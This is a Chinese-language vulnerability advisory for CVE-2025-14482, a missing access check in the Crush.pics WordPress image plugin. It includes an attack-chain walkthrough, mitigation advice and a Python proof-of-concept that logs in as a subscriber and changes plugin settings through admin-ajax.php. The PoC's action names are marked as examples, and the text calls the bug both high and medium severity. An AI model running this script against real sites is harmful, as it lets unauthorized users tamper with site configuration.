IPBUF安全漏洞报告
English
CVE-2025-14482 CVSS 4.3 中危

CVE-2025-14482 | WordPress Crush.pics插件越权设置修改漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2025-14482
漏洞类型
访问控制绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Crush.pics Image Optimizer WordPress插件

相关标签

访问控制绕过IDORWordPress插件漏洞Crush.pics权限验证缺失中危漏洞AJAX安全Broken Access Control

漏洞概述

CVE-2025-14482是WordPress平台下Crush.pics Image Optimizer图像优化插件的一个高危安全漏洞。该插件是一款用于图像压缩和优化的工具,在WordPress生态中应用广泛。漏洞根源在于插件的多个AJAX处理函数缺少适当的权限验证机制(capability checks),导致任何已认证用户(包括最低权限的Subscriber订阅者级别用户)都能调用这些受保护的函数。此漏洞存在于1.8.7及之前的所有版本中,CVSS评分4.3,属于中等严重程度。攻击者利用此漏洞可以非法修改插件的核心设置,包括禁用自动压缩功能、调整图像质量参数等。虽然该漏洞不直接导致代码执行或数据泄露,但攻击者可利用其破坏网站的图像优化工作流程,影响网站性能和用户体验。在多用户WordPress环境中,低权限用户(如订阅者、投稿人)可通过构造恶意请求,绕过认证限制修改敏感配置,这对托管环境和多租户系统构成实质性威胁。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(访问控制失效)类别。具体而言,Crush.pics插件的inc/class-ajax.php文件中存在多个AJAX处理函数(约第30、66、193行等),这些函数在处理用户请求时仅验证了用户是否已登录,却未检查用户是否具备相应操作的管理权限。正常情况下,WordPress插件应使用current_user_can()或check_ajax_referer()等函数验证用户权限,但这些函数调用缺失。攻击者只需构造带有有效认证cookie的HTTP POST请求,指定对应的AJAX动作(action)和参数,即可触发漏洞。典型攻击场景包括:发送修改auto_compression设置的请求,将自动压缩功能禁用;或修改quality相关参数,降低图像压缩质量或完全绕过压缩流程。漏洞利用无需特殊工具或复杂技术,普通HTTP请求工具(如curl)即可完成攻击。由于WordPress的AJAX处理机制特性,即使是非管理员账户也能发起请求,这大大降低了攻击门槛。

攻击链分析

STEP 1
步骤1
攻击者注册或获取目标WordPress网站的低权限账户(如Subscriber订阅者),获得有效的用户凭证
STEP 2
步骤2
攻击者使用凭证登录网站,获取有效的会话cookie和认证token
STEP 3
步骤3
攻击者构造恶意HTTP POST请求到wp-admin/admin-ajax.php端点,指定插件的AJAX动作和修改参数(如auto_compression=0或quality=100)
STEP 4
步骤4
由于插件缺少current_user_can()权限检查,请求被服务器接受并执行,插件设置被非法修改
STEP 5
步骤5
攻击者成功禁用自动压缩功能或调整图像质量参数,导致网站图像优化功能失效或性能下降

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urlencode # CVE-2025-14482 PoC - Insecure Direct Object Reference in Crush.pics Plugin # Target: WordPress site with Crush.pics Image Optimizer <= 1.8.7 # Authentication: Requires any valid user account (Subscriber role or higher) def exploit_crush_pics(target_url, username, password): """ Exploit missing capability checks in Crush.pics plugin settings modification. """ # Step 1: Authenticate and get valid nonce/cookie login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Get admin URL to extract nonce (if needed) # In some cases, the AJAX endpoint may not require nonce verification # Step 3: Exploit - Disable auto-compression ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload 1: Disable auto-compression feature disable_auto_data = { 'action': 'crush_pics_disable_auto', # Example action name 'setting': 'auto_compression', 'value': '0' } print("[*] Attempting to disable auto-compression...") response = session.post(ajax_url, data=disable_auto_data) if response.status_code == 200: print("[+] Auto-compression disabled successfully!") # Payload 2: Modify image quality settings quality_data = { 'action': 'crush_pics_update_quality', # Example action name 'quality': '100', # Set to maximum (no compression) 'format': 'png' # Change output format } print("[*] Attempting to modify image quality settings...") response = session.post(ajax_url, data=quality_data) if response.status_code == 200: print("[+] Image quality settings modified!") print("[*] Exploitation complete. Check plugin settings in WordPress admin panel.") return True if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_crush_pics(target, user, pwd)

影响范围

Crush.pics Image Optimizer WordPress插件 <= 1.8.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制新用户注册功能,防止攻击者获取低权限账户;2) 使用WordPress安全插件(如Wordfence)监控异常的AJAX请求;3) 临时禁用Crush.pics插件,待官方发布安全更新后再启用;4) 通过.htaccess或Nginx配置限制非管理员访问wp-admin/admin-ajax.php端点;5) 启用WordPress的HTTP请求日志记录,便于发现可疑攻击行为。建议管理员密切关注WordPress插件目录的安全更新通知。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表